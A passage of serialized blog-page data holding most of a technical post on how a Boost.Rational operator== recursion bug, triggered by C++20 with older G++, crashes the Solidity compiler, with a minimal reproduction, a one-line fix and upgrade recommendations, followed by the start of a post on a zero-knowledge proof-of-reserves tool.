1}," return",{"type":24,"tag":158,"props":92633,"children":92634},{"style":188},[92635],{"type":29,"value":92636}," ((den ",{"type":24,"tag":158,"props":92638,"children":92639},{"style":222},[92640],{"type":29,"value":1034},{"type":24,"tag":158,"props":92642,"children":92643},{"style":496},[92644],{"type":29,"value":91726},{"type":24,"tag":158,"props":92646,"children":92647},{"style":188},[92648],{"type":29,"value":504},{"type":24,"tag":158,"props":92650,"children":92651},{"style":465},[92652],{"type":29,"value":5672},{"type":24,"tag":158,"props":92654,"children":92655},{"style":188},[92656],{"type":29,"value":2240},{"type":24,"tag":158,"props":92658,"children":92659},{"style":222},[92660],{"type":29,"value":74473},{"type":24,"tag":158,"props":92662,"children":92663},{"style":188},[92664],{"type":29,"value":92665}," (num ",{"type":24,"tag":158,"props":92667,"children":92668},{"style":222},[92669],{"type":29,"value":1034},{"type":24,"tag":158,"props":92671,"children":92672},{"style":188},[92673],{"type":29,"value":92674}," i));\n",{"type":24,"tag":158,"props":92676,"children":92677},{"class":160,"line":1447},[92678],{"type":24,"tag":158,"props":92679,"children":92680},{"style":188},[92681],{"type":29,"value":3967},{"type":24,"tag":158,"props":92683,"children":92684},{"class":160,"line":1509},[92685],{"type":24,"tag":158,"props":92686,"children":92687},{"style":188},[92688],{"type":29,"value":21583},{"type":24,"tag":158,"props":92690,"children":92691},{"class":160,"line":1527},[92692],{"type":24,"tag":158,"props":92693,"children":92694},{"style":188},[92695],{"type":29,"value":307},{"type":24,"tag":158,"props":92697,"children":92698},{"class":160,"line":1545},[92699],{"type":24,"tag":158,"props":92700,"children":92701},{"emptyLinePlaceholder":16},[92702],{"type":29,"value":481},{"type":24,"tag":158,"props":92704,"children":92705},{"class":160,"line":1618},[92706,92710,92714,92718,92722,92726,92730,92734],{"type":24,"tag":158,"props":92707,"children":92708},{"style":165},[92709],{"type":29,"value":67491},{"type":24,"tag":158,"props":92711,"children":92712},{"style":188},[92713],{"type":29,"value":2116},{"type":24,"tag":158,"props":92715,"children":92716},{"style":165},[92717],{"type":29,"value":71686},{"type":24,"tag":158,"props":92719,"children":92720},{"style":171},[92721],{"type":29,"value":91907},{"type":24,"tag":158,"props":92723,"children":92724},{"style":188},[92725],{"type":29,"value":191},{"type":24,"tag":158,"props":92727,"children":92728},{"style":165},[92729],{"type":29,"value":71686},{"type":24,"tag":158,"props":92731,"children":92732},{"style":171},[92733],{"type":29,"value":91726},{"type":24,"tag":158,"props":92735,"children":92736},{"style":188},[92737],{"type":29,"value":7642},{"type":24,"tag":158,"props":92739,"children":92740},{"class":160,"line":1635},[92741],{"type":24,"tag":158,"props":92742,"children":92743},{"style":188},[92744],{"type":29,"value":92745},"BOOST_CONSTEXPR\n",{"type":24,"tag":158,"props":92747,"children":92748},{"class":160,"line":1644},[92749,92754,92759,92764,92769],{"type":24,"tag":158,"props":92750,"children":92751},{"style":165},[92752],{"type":29,"value":92753},"inline",{"type":24,"tag":158,"props":92755,"children":92756},{"style":165},[92757],{"type":29,"value":92758}," typename",{"type":24,"tag":158,"props":92760,"children":92761},{"style":188},[92762],{"type":29,"value":92763}," boost::",{"type":24,"tag":158,"props":92765,"children":92766},{"style":171},[92767],{"type":29,"value":92768},"enable_if_c",{"type":24,"tag":158,"props":92770,"children":92771},{"style":222},[92772],{"type":29,"value":92773}," \u003C\n",{"type":24,"tag":158,"props":92775,"children":92776},{"class":160,"line":1652},[92777,92782,92787,92791,92795,92800,92804,92808],{"type":24,"tag":158,"props":92778,"children":92779},{"style":188},[92780],{"type":29,"value":92781}," rational_detail::is_compatible_integer\u003C",{"type":24,"tag":158,"props":92783,"children":92784},{"style":171},[92785],{"type":29,"value":92786},"Arg",{"type":24,"tag":158,"props":92788,"children":92789},{"style":188},[92790],{"type":29,"value":191},{"type":24,"tag":158,"props":92792,"children":92793},{"style":171},[92794],{"type":29,"value":91955},{"type":24,"tag":158,"props":92796,"children":92797},{"style":188},[92798],{"type":29,"value":92799},">::value, ",{"type":24,"tag":158,"props":92801,"children":92802},{"style":165},[92803],{"type":29,"value":30945},{"type":24,"tag":158,"props":92805,"children":92806},{"style":222},[92807],{"type":29,"value":1280},{"type":24,"tag":158,"props":92809,"children":92810},{"style":188},[92811],{"type":29,"value":92812},"::type\n",{"type":24,"tag":158,"props":92814,"children":92815},{"class":160,"line":1704},[92816,92821,92826,92830,92834,92838,92842,92846,92850,92854,92858,92862,92866,92870,92874],{"type":24,"tag":158,"props":92817,"children":92818},{"style":165},[92819],{"type":29,"value":92820}," operator",{"type":24,"tag":158,"props":92822,"children":92823},{"style":188},[92824],{"type":29,"value":92825}," == (",{"type":24,"tag":158,"props":92827,"children":92828},{"style":165},[92829],{"type":29,"value":443},{"type":24,"tag":158,"props":92831,"children":92832},{"style":171},[92833],{"type":29,"value":91907},{"type":24,"tag":158,"props":92835,"children":92836},{"style":165},[92837],{"type":29,"value":2212},{"type":24,"tag":158,"props":92839,"children":92840},{"style":177},[92841],{"type":29,"value":91988},{"type":24,"tag":158,"props":92843,"children":92844},{"style":188},[92845],{"type":29,"value":191},{"type":24,"tag":158,"props":92847,"children":92848},{"style":165},[92849],{"type":29,"value":443},{"type":24,"tag":158,"props":92851,"children":92852},{"style":171},[92853],{"type":29,"value":91742},{"type":24,"tag":158,"props":92855,"children":92856},{"style":188},[92857],{"type":29,"value":3760},{"type":24,"tag":158,"props":92859,"children":92860},{"style":171},[92861],{"type":29,"value":91955},{"type":24,"tag":158,"props":92863,"children":92864},{"style":188},[92865],{"type":29,"value":1280},{"type":24,"tag":158,"props":92867,"children":92868},{"style":165},[92869],{"type":29,"value":2212},{"type":24,"tag":158,"props":92871,"children":92872},{"style":177},[92873],{"type":29,"value":91114},{"type":24,"tag":158,"props":92875,"children":92876},{"style":188},[92877],{"type":29,"value":2125},{"type":24,"tag":158,"props":92879,"children":92880},{"class":160,"line":1713},[92881],{"type":24,"tag":158,"props":92882,"children":92883},{"style":188},[92884],{"type":29,"value":1710},{"type":24,"tag":158,"props":92886,"children":92887},{"class":160,"line":1731},[92888,92892,92896,92900],{"type":24,"tag":158,"props":92889,"children":92890},{"style":1914},[92891],{"type":29,"value":40621},{"type":24,"tag":158,"props":92893,"children":92894},{"style":188},[92895],{"type":29,"value":18002},{"type":24,"tag":158,"props":92897,"children":92898},{"style":222},[92899],{"type":29,"value":1034},{"type":24,"tag":158,"props":92901,"children":92902},{"style":188},[92903],{"type":29,"value":92904}," b; \n",{"type":24,"tag":158,"props":92906,"children":92907},{"class":160,"line":5485},[92908],{"type":24,"tag":158,"props":92909,"children":92910},{"style":188},[92911],{"type":29,"value":307},{"type":24,"tag":25,"props":92913,"children":92914},{},[92915,92917,92923],{"type":29,"value":92916},"This was designed under C++17 semantics. Back then, ",{"type":24,"tag":154,"props":92918,"children":92920},{"className":92919},[],[92921],{"type":29,"value":92922},"rhs == lhs",{"type":29,"value":92924}," would fall back to member overloads if available. All good.",{"type":24,"tag":25,"props":92926,"children":92927},{},[92928,92930,92935,92936,92942],{"type":29,"value":92929},"But under ",{"type":24,"tag":154,"props":92931,"children":92933},{"className":92932},[],[92934],{"type":29,"value":91479},{"type":29,"value":22748},{"type":24,"tag":154,"props":92937,"children":92939},{"className":92938},[],[92940],{"type":29,"value":92941},"G++ \u003C 14",{"type":29,"value":225},{"type":24,"tag":17924,"props":92944,"children":92945},{},[92946,92951,92956,92961],{"type":24,"tag":1790,"props":92947,"children":92948},{},[92949],{"type":29,"value":92950},"G++ incorrectly chooses this non-member operator first",{"type":24,"tag":1790,"props":92952,"children":92953},{},[92954],{"type":29,"value":92955},"C++20 reverses the comparison",{"type":24,"tag":1790,"props":92957,"children":92958},{},[92959],{"type":29,"value":92960},"Which calls the same function again with arguments flipped",{"type":24,"tag":1790,"props":92962,"children":92963},{},[92964],{"type":29,"value":92965},"And so on...",{"type":24,"tag":25,"props":92967,"children":92968},{},[92969,92971,92976],{"type":29,"value":92970},"This creates ",{"type":24,"tag":897,"props":92972,"children":92973},{},[92974],{"type":29,"value":92975},"infinite recursion",{"type":29,"value":347},{"type":24,"tag":25,"props":92978,"children":92979},{},[92980],{"type":29,"value":92981},"A minimal example:",{"type":24,"tag":147,"props":92983,"children":92985},{"code":92984,"language":30371,"meta":7,"className":30369,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n boost::rational\u003Cint> r;\n return r == 0;\n}\n",[92986],{"type":24,"tag":154,"props":92987,"children":92988},{"__ignoreMap":7},[92989,92997,93009,93016,93031,93055,93078],{"type":24,"tag":158,"props":92990,"children":92991},{"class":160,"line":161},[92992],{"type":24,"tag":158,"props":92993,"children":92994},{"style":2588},[92995],{"type":29,"value":92996},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":24,"tag":158,"props":92998,"children":92999},{"class":160,"line":213},[93000,93004],{"type":24,"tag":158,"props":93001,"children":93002},{"style":1914},[93003],{"type":29,"value":91693},{"type":24,"tag":158,"props":93005,"children":93006},{"style":1108},[93007],{"type":29,"value":93008}," \u003Cboost/rational.hpp>\n",{"type":24,"tag":158,"props":93010,"children":93011},{"class":160,"line":238},[93012],{"type":24,"tag":158,"props":93013,"children":93014},{"emptyLinePlaceholder":16},[93015],{"type":29,"value":481},{"type":24,"tag":158,"props":93017,"children":93018},{"class":160,"line":259},[93019,93023,93027],{"type":24,"tag":158,"props":93020,"children":93021},{"style":165},[93022],{"type":29,"value":20289},{"type":24,"tag":158,"props":93024,"children":93025},{"style":496},[93026],{"type":29,"value":92058},{"type":24,"tag":158,"props":93028,"children":93029},{"style":188},[93030],{"type":29,"value":16972},{"type":24,"tag":158,"props":93032,"children":93033},{"class":160,"line":280},[93034,93039,93043,93047,93051],{"type":24,"tag":158,"props":93035,"children":93036},{"style":188},[93037],{"type":29,"value":93038}," boost::rational",{"type":24,"tag":158,"props":93040,"children":93041},{"style":222},[93042],{"type":29,"value":3760},{"type":24,"tag":158,"props":93044,"children":93045},{"style":165},[93046],{"type":29,"value":20289},{"type":24,"tag":158,"props":93048,"children":93049},{"style":222},[93050],{"type":29,"value":1280},{"type":24,"tag":158,"props":93052,"children":93053},{"style":188},[93054],{"type":29,"value":92087},{"type":24,"tag":158,"props":93056,"children":93057},{"class":160,"line":301},[93058,93062,93066,93070,93074],{"type":24,"tag":158,"props":93059,"children":93060},{"style":1914},[93061],{"type":29,"value":18227},{"type":24,"tag":158,"props":93063,"children":93064},{"style":188},[93065],{"type":29,"value":92099},{"type":24,"tag":158,"props":93067,"children":93068},{"style":222},[93069],{"type":29,"value":1034},{"type":24,"tag":158,"props":93071,"children":93072},{"style":465},[93073],{"type":29,"value":2025},{"type":24,"tag":158,"props":93075,"children":93076},{"style":188},[93077],{"type":29,"value":473},{"type":24,"tag":158,"props":93079,"children":93080},{"class":160,"line":626},[93081],{"type":24,"tag":158,"props":93082,"children":93083},{"style":188},[93084],{"type":29,"value":307},{"type":24,"tag":25,"props":93086,"children":93087},{},[93088],{"type":29,"value":93089},"Expected output: nothing.",{"type":24,"tag":25,"props":93091,"children":93092},{},[93093],{"type":29,"value":93094},"Actual: segmentation fault (stack overflow).",{"type":24,"tag":25,"props":93096,"children":93097},{},[93098,93100,93107],{"type":29,"value":93099},"This exact pattern was ",{"type":24,"tag":101,"props":93101,"children":93104},{"href":93102,"rel":93103},"https://github.com/boostorg/rational/issues/43",[105],[93105],{"type":29,"value":93106},"reported and fixed in Boost rational",{"type":29,"value":93108},", but only in version 1.75+.",{"type":24,"tag":25,"props":93110,"children":93111},{},[93112],{"type":29,"value":93113},"Here’s the one-line fix:",{"type":24,"tag":147,"props":93115,"children":93117},{"code":93116,"language":41627,"meta":7,"className":41625,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n- return a == b;\n+ return a.operator==(b);\n}\n",[93118],{"type":24,"tag":154,"props":93119,"children":93120},{"__ignoreMap":7},[93121,93129,93136,93144,93152,93160,93167,93175,93183],{"type":24,"tag":158,"props":93122,"children":93123},{"class":160,"line":161},[93124],{"type":24,"tag":158,"props":93125,"children":93126},{"style":188},[93127],{"type":29,"value":93128},"template \u003Cclass Arg, class IntType>\n",{"type":24,"tag":158,"props":93130,"children":93131},{"class":160,"line":213},[93132],{"type":24,"tag":158,"props":93133,"children":93134},{"style":188},[93135],{"type":29,"value":92745},{"type":24,"tag":158,"props":93137,"children":93138},{"class":160,"line":238},[93139],{"type":24,"tag":158,"props":93140,"children":93141},{"style":188},[93142],{"type":29,"value":93143},"inline typename boost::enable_if_c \u003C\n",{"type":24,"tag":158,"props":93145,"children":93146},{"class":160,"line":259},[93147],{"type":24,"tag":158,"props":93148,"children":93149},{"style":188},[93150],{"type":29,"value":93151}," rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":24,"tag":158,"props":93153,"children":93154},{"class":160,"line":280},[93155],{"type":24,"tag":158,"props":93156,"children":93157},{"style":188},[93158],{"type":29,"value":93159}," operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":24,"tag":158,"props":93161,"children":93162},{"class":160,"line":301},[93163],{"type":24,"tag":158,"props":93164,"children":93165},{"style":188},[93166],{"type":29,"value":1710},{"type":24,"tag":158,"props":93168,"children":93169},{"class":160,"line":626},[93170],{"type":24,"tag":158,"props":93171,"children":93172},{"style":1108},[93173],{"type":29,"value":93174},"- return a == b;\n",{"type":24,"tag":158,"props":93176,"children":93177},{"class":160,"line":668},[93178],{"type":24,"tag":158,"props":93179,"children":93180},{"style":465},[93181],{"type":29,"value":93182},"+ return a.operator==(b);\n",{"type":24,"tag":158,"props":93184,"children":93185},{"class":160,"line":676},[93186],{"type":24,"tag":158,"props":93187,"children":93188},{"style":188},[93189],{"type":29,"value":307},{"type":24,"tag":25,"props":93191,"children":93192},{},[93193,93195,93200,93202,93207],{"type":29,"value":93194},"Instead of calling ",{"type":24,"tag":154,"props":93196,"children":93198},{"className":93197},[],[93199],{"type":29,"value":91525},{"type":29,"value":93201}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":24,"tag":154,"props":93203,"children":93205},{"className":93204},[],[93206],{"type":29,"value":91533},{"type":29,"value":347},{"type":24,"tag":25,"props":93209,"children":93210},{},[93211],{"type":29,"value":93212},"This prevents C++20 from triggering recursive rewrites.",{"type":24,"tag":20034,"props":93214,"children":93215},{},[],{"type":24,"tag":59,"props":93217,"children":93219},{"id":93218},"part-iv-how-this-breaks-solidity",[93220],{"type":29,"value":93221},"Part IV: How This Breaks Solidity",{"type":24,"tag":25,"props":93223,"children":93224},{},[93225,93227,93232],{"type":29,"value":93226},"The Solidity codebase uses ",{"type":24,"tag":154,"props":93228,"children":93230},{"className":93229},[],[93231],{"type":29,"value":91380},{"type":29,"value":93233}," to represent certain compile-time constant expressions.",{"type":24,"tag":25,"props":93235,"children":93236},{},[93237,93239,93245],{"type":29,"value":93238},"One snippet that can trigger this issue appears in ",{"type":24,"tag":154,"props":93240,"children":93242},{"className":93241},[],[93243],{"type":29,"value":93244},"DeclarationTypeChecker::endVisit",{"type":29,"value":225},{"type":24,"tag":147,"props":93247,"children":93249},{"code":93248,"language":30371,"meta":7,"className":30369,"style":7},"if (Expression const* length = _typeName.length()) {\n std::optional\u003Crational> lengthValue;\n\n if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n ...\n else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n lengthValue = value->value;\n\n if (!lengthValue)\n ...\n else if (*lengthValue == 0) // \u003C-- Infinite recursion happens here\n ...\n}\n",[93250],{"type":24,"tag":154,"props":93251,"children":93252},{"__ignoreMap":7},[93253,93300,93325,93332,93410,93417,93470,93498,93505,93525,93532,93572,93579],{"type":24,"tag":158,"props":93254,"children":93255},{"class":160,"line":161},[93256,93260,93265,93269,93273,93278,93282,93287,93291,93295],{"type":24,"tag":158,"props":93257,"children":93258},{"style":1914},[93259],{"type":29,"value":16815},{"type":24,"tag":158,"props":93261,"children":93262},{"style":188},[93263],{"type":29,"value":93264}," (Expression ",{"type":24,"tag":158,"props":93266,"children":93267},{"style":165},[93268],{"type":29,"value":443},{"type":24,"tag":158,"props":93270,"children":93271},{"style":222},[93272],{"type":29,"value":577},{"type":24,"tag":158,"props":93274,"children":93275},{"style":188},[93276],{"type":29,"value":93277}," length ",{"type":24,"tag":158,"props":93279,"children":93280},{"style":222},[93281],{"type":29,"value":1285},{"type":24,"tag":158,"props":93283,"children":93284},{"style":177},[93285],{"type":29,"value":93286}," _typeName",{"type":24,"tag":158,"props":93288,"children":93289},{"style":188},[93290],{"type":29,"value":347},{"type":24,"tag":158,"props":93292,"children":93293},{"style":496},[93294],{"type":29,"value":10114},{"type":24,"tag":158,"props":93296,"children":93297},{"style":188},[93298],{"type":29,"value":93299},"()) {\n",{"type":24,"tag":158,"props":93301,"children":93302},{"class":160,"line":213},[93303,93308,93312,93316,93320],{"type":24,"tag":158,"props":93304,"children":93305},{"style":188},[93306],{"type":29,"value":93307}," std::optional",{"type":24,"tag":158,"props":93309,"children":93310},{"style":222},[93311],{"type":29,"value":3760},{"type":24,"tag":158,"props":93313,"children":93314},{"style":188},[93315],{"type":29,"value":92385},{"type":24,"tag":158,"props":93317,"children":93318},{"style":222},[93319],{"type":29,"value":1280},{"type":24,"tag":158,"props":93321,"children":93322},{"style":188},[93323],{"type":29,"value":93324}," lengthValue;\n",{"type":24,"tag":158,"props":93326,"children":93327},{"class":160,"line":238},[93328],{"type":24,"tag":158,"props":93329,"children":93330},{"emptyLinePlaceholder":16},[93331],{"type":29,"value":481},{"type":24,"tag":158,"props":93333,"children":93334},{"class":160,"line":259},[93335,93339,93343,93347,93351,93355,93359,93363,93367,93372,93376,93380,93384,93388,93392,93397,93401,93405],{"type":24,"tag":158,"props":93336,"children":93337},{"style":1914},[93338],{"type":29,"value":3160},{"type":24,"tag":158,"props":93340,"children":93341},{"style":188},[93342],{"type":29,"value":2262},{"type":24,"tag":158,"props":93344,"children":93345},{"style":177},[93346],{"type":29,"value":10114},{"type":24,"tag":158,"props":93348,"children":93349},{"style":188},[93350],{"type":29,"value":14991},{"type":24,"tag":158,"props":93352,"children":93353},{"style":496},[93354],{"type":29,"value":31423},{"type":24,"tag":158,"props":93356,"children":93357},{"style":188},[93358],{"type":29,"value":31428},{"type":24,"tag":158,"props":93360,"children":93361},{"style":177},[93362],{"type":29,"value":34018},{"type":24,"tag":158,"props":93364,"children":93365},{"style":222},[93366],{"type":29,"value":15419},{"type":24,"tag":158,"props":93368,"children":93369},{"style":177},[93370],{"type":29,"value":93371}," length",{"type":24,"tag":158,"props":93373,"children":93374},{"style":188},[93375],{"type":29,"value":14991},{"type":24,"tag":158,"props":93377,"children":93378},{"style":496},[93379],{"type":29,"value":31423},{"type":24,"tag":158,"props":93381,"children":93382},{"style":188},[93383],{"type":29,"value":31428},{"type":24,"tag":158,"props":93385,"children":93386},{"style":177},[93387],{"type":29,"value":34018},{"type":24,"tag":158,"props":93389,"children":93390},{"style":188},[93391],{"type":29,"value":14991},{"type":24,"tag":158,"props":93393,"children":93394},{"style":496},[93395],{"type":29,"value":93396},"category",{"type":24,"tag":158,"props":93398,"children":93399},{"style":188},[93400],{"type":29,"value":15277},{"type":24,"tag":158,"props":93402,"children":93403},{"style":222},[93404],{"type":29,"value":1034},{"type":24,"tag":158,"props":93406,"children":93407},{"style":188},[93408],{"type":29,"value":93409}," Type::Category::RationalNumber)\n",{"type":24,"tag":158,"props":93411,"children":93412},{"class":160,"line":280},[93413],{"type":24,"tag":158,"props":93414,"children":93415},{"style":188},[93416],{"type":29,"value":83120},{"type":24,"tag":158,"props":93418,"children":93419},{"class":160,"line":301},[93420,93425,93429,93434,93438,93443,93447,93452,93456,93461,93465],{"type":24,"tag":158,"props":93421,"children":93422},{"style":1914},[93423],{"type":29,"value":93424}," else",{"type":24,"tag":158,"props":93426,"children":93427},{"style":1914},[93428],{"type":29,"value":17024},{"type":24,"tag":158,"props":93430,"children":93431},{"style":188},[93432],{"type":29,"value":93433}," (std::optional",{"type":24,"tag":158,"props":93435,"children":93436},{"style":222},[93437],{"type":29,"value":3760},{"type":24,"tag":158,"props":93439,"children":93440},{"style":188},[93441],{"type":29,"value":93442},"ConstantEvaluator::TypedRational",{"type":24,"tag":158,"props":93444,"children":93445},{"style":222},[93446],{"type":29,"value":1280},{"type":24,"tag":158,"props":93448,"children":93449},{"style":188},[93450],{"type":29,"value":93451}," value ",{"type":24,"tag":158,"props":93453,"children":93454},{"style":222},[93455],{"type":29,"value":1285},{"type":24,"tag":158,"props":93457,"children":93458},{"style":188},[93459],{"type":29,"value":93460}," ConstantEvaluator::",{"type":24,"tag":158,"props":93462,"children":93463},{"style":496},[93464],{"type":29,"value":39269},{"type":24,"tag":158,"props":93466,"children":93467},{"style":188},[93468],{"type":29,"value":93469},"(...))\n",{"type":24,"tag":158,"props":93471,"children":93472},{"class":160,"line":626},[93473,93478,93482,93486,93490,93494],{"type":24,"tag":158,"props":93474,"children":93475},{"style":188},[93476],{"type":29,"value":93477}," lengthValue ",{"type":24,"tag":158,"props":93479,"children":93480},{"style":222},[93481],{"type":29,"value":1285},{"type":24,"tag":158,"props":93483,"children":93484},{"style":177},[93485],{"type":29,"value":33772},{"type":24,"tag":158,"props":93487,"children":93488},{"style":188},[93489],{"type":29,"value":14991},{"type":24,"tag":158,"props":93491,"children":93492},{"style":177},[93493],{"type":29,"value":40416},{"type":24,"tag":158,"props":93495,"children":93496},{"style":188},[93497],{"type":29,"value":473},{"type":24,"tag":158,"props":93499,"children":93500},{"class":160,"line":668},[93501],{"type":24,"tag":158,"props":93502,"children":93503},{"emptyLinePlaceholder":16},[93504],{"type":29,"value":481},{"type":24,"tag":158,"props":93506,"children":93507},{"class":160,"line":676},[93508,93512,93516,93520],{"type":24,"tag":158,"props":93509,"children":93510},{"style":1914},[93511],{"type":29,"value":3160},{"type":24,"tag":158,"props":93513,"children":93514},{"style":188},[93515],{"type":29,"value":2262},{"type":24,"tag":158,"props":93517,"children":93518},{"style":222},[93519],{"type":29,"value":21865},{"type":24,"tag":158,"props":93521,"children":93522},{"style":188},[93523],{"type":29,"value":93524},"lengthValue)\n",{"type":24,"tag":158,"props":93526,"children":93527},{"class":160,"line":684},[93528],{"type":24,"tag":158,"props":93529,"children":93530},{"style":188},[93531],{"type":29,"value":83120},{"type":24,"tag":158,"props":93533,"children":93534},{"class":160,"line":700},[93535,93539,93543,93547,93551,93555,93559,93563,93567],{"type":24,"tag":158,"props":93536,"children":93537},{"style":1914},[93538],{"type":29,"value":93424},{"type":24,"tag":158,"props":93540,"children":93541},{"style":1914},[93542],{"type":29,"value":17024},{"type":24,"tag":158,"props":93544,"children":93545},{"style":188},[93546],{"type":29,"value":2262},{"type":24,"tag":158,"props":93548,"children":93549},{"style":222},[93550],{"type":29,"value":577},{"type":24,"tag":158,"props":93552,"children":93553},{"style":188},[93554],{"type":29,"value":91356},{"type":24,"tag":158,"props":93556,"children":93557},{"style":222},[93558],{"type":29,"value":1034},{"type":24,"tag":158,"props":93560,"children":93561},{"style":465},[93562],{"type":29,"value":2025},{"type":24,"tag":158,"props":93564,"children":93565},{"style":188},[93566],{"type":29,"value":521},{"type":24,"tag":158,"props":93568,"children":93569},{"style":2588},[93570],{"type":29,"value":93571}," // \u003C-- Infinite recursion happens here\n",{"type":24,"tag":158,"props":93573,"children":93574},{"class":160,"line":785},[93575],{"type":24,"tag":158,"props":93576,"children":93577},{"style":188},[93578],{"type":29,"value":83120},{"type":24,"tag":158,"props":93580,"children":93581},{"class":160,"line":1447},[93582],{"type":24,"tag":158,"props":93583,"children":93584},{"style":188},[93585],{"type":29,"value":307},{"type":24,"tag":25,"props":93587,"children":93588},{},[93589],{"type":29,"value":93590},"Under normal circumstances, this expression is benign. But:",{"type":24,"tag":17924,"props":93592,"children":93593},{},[93594,93599,93604],{"type":24,"tag":1790,"props":93595,"children":93596},{},[93597],{"type":29,"value":93598},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":24,"tag":1790,"props":93600,"children":93601},{},[93602],{"type":29,"value":93603},"C++20 reverses the arguments",{"type":24,"tag":1790,"props":93605,"children":93606},{},[93607],{"type":29,"value":93608},"The non-member operator recursively calls itself",{"type":24,"tag":25,"props":93610,"children":93611},{},[93612],{"type":29,"value":93613},"💥: segmentation fault.",{"type":24,"tag":20034,"props":93615,"children":93616},{},[],{"type":24,"tag":59,"props":93618,"children":93620},{"id":93619},"part-v-what-environments-are-affected",[93621],{"type":29,"value":93622},"Part V: What Environments are Affected?",{"type":24,"tag":25,"props":93624,"children":93625},{},[93626],{"type":29,"value":93627},"If a system uses any of the following:",{"type":24,"tag":17924,"props":93629,"children":93630},{},[93631,93636,93641],{"type":24,"tag":1790,"props":93632,"children":93633},{},[93634],{"type":29,"value":93635},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":24,"tag":1790,"props":93637,"children":93638},{},[93639],{"type":29,"value":93640},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":24,"tag":1790,"props":93642,"children":93643},{},[93644],{"type":29,"value":93645},"C++20 enabled (default in recent Solidity builds)",{"type":24,"tag":25,"props":93647,"children":93648},{},[93649,93651,93656,93658,93664],{"type":29,"value":93650},"They will encounter this crash ",{"type":24,"tag":897,"props":93652,"children":93653},{},[93654],{"type":29,"value":93655},"as soon as",{"type":29,"value":93657}," it processes a Solidity source with a length expression like ",{"type":24,"tag":154,"props":93659,"children":93661},{"className":93660},[],[93662],{"type":29,"value":93663},"T[0]",{"type":29,"value":93665}," or anything involving compile-time rational comparisons.",{"type":24,"tag":20034,"props":93667,"children":93668},{},[],{"type":24,"tag":59,"props":93670,"children":93672},{"id":93671},"recommendations",[93673],{"type":29,"value":93674},"Recommendations",{"type":24,"tag":17924,"props":93676,"children":93677},{},[93678,93686],{"type":24,"tag":1790,"props":93679,"children":93680},{},[93681],{"type":24,"tag":897,"props":93682,"children":93683},{},[93684],{"type":29,"value":93685},"Update Boost to ≥ 1.75",{"type":24,"tag":1790,"props":93687,"children":93688},{},[93689],{"type":24,"tag":897,"props":93690,"children":93691},{},[93692],{"type":29,"value":93693},"Pin G++ to v14 or later",{"type":24,"tag":20034,"props":93695,"children":93696},{},[],{"type":24,"tag":59,"props":93698,"children":93699},{"id":30191},[93700],{"type":29,"value":20189},{"type":24,"tag":25,"props":93702,"children":93703},{},[93704],{"type":29,"value":93705},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":24,"tag":25,"props":93707,"children":93708},{},[93709,93711,93715],{"type":29,"value":93710},"But it ",{"type":24,"tag":897,"props":93712,"children":93713},{},[93714],{"type":29,"value":5633},{"type":29,"value":93716}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":24,"tag":25,"props":93718,"children":93719},{},[93720],{"type":29,"value":93721},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":24,"tag":25,"props":93723,"children":93724},{},[93725],{"type":29,"value":93726},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":24,"tag":4517,"props":93728,"children":93729},{},[93730],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":93732},[93733,93734,93739,93742,93743,93744,93745,93746],{"id":91416,"depth":213,"text":91419},{"id":91505,"depth":213,"text":91508,"children":93735},[93736,93737,93738],{"id":91511,"depth":238,"text":91514},{"id":91579,"depth":238,"text":91582},{"id":91670,"depth":238,"text":91673},{"id":92254,"depth":213,"text":92257,"children":93740},[93741],{"id":92260,"depth":238,"text":92263},{"id":92371,"depth":213,"text":92374},{"id":93218,"depth":213,"text":93221},{"id":93619,"depth":213,"text":93622},{"id":93671,"depth":213,"text":93674},{"id":30191,"depth":213,"text":20189},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":93751,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":93752,"description":93753,"date":93754,"author":32461,"image":93755,"isFeatured":16,"onBlogPage":16,"tags":93757,"body":93760,"_type":4536,"_id":98536,"_source":4538,"_file":98537,"_stem":98538,"_extension":4541},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":93756,"width":14857,"height":14857},"/posts/por/title.png",[93758,93759],"zk","por",{"type":21,"children":93761,"toc":98513},[93762,93768,93780,93792,93797,93829,93843,93849,93861,93866,93871,93908,93913,93919,93924,93931,93936,93962,93967,93973,93993,94007,94015,94020,94025,94033,94046,94052,94134,94140,94145,94158,94163,94170,94194,94202,94207,94213,94218,94666,94679,94685,94690,94698,94716,94724,94737,94745,96406,96411,96418,96424,96429,96436,96452,96459,96467,96474,97985,97990,97997,98003,98008,98035,98040,98059,98065,98073,98091,98140,98148,98167,98189,98195,98208,98213,98220,98225,98288,98293,98300,98320,98326,98331,98337,98342,98386,98391,98399,98405,98410,98452,98457,98465,98470,98478,98482,98487,98500],{"type":24,"tag":59,"props":93763,"children":93765},{"id":93764},"what-is-a-proof-of-reserves",[93766],{"type":29,"value":93767},"What is a Proof of 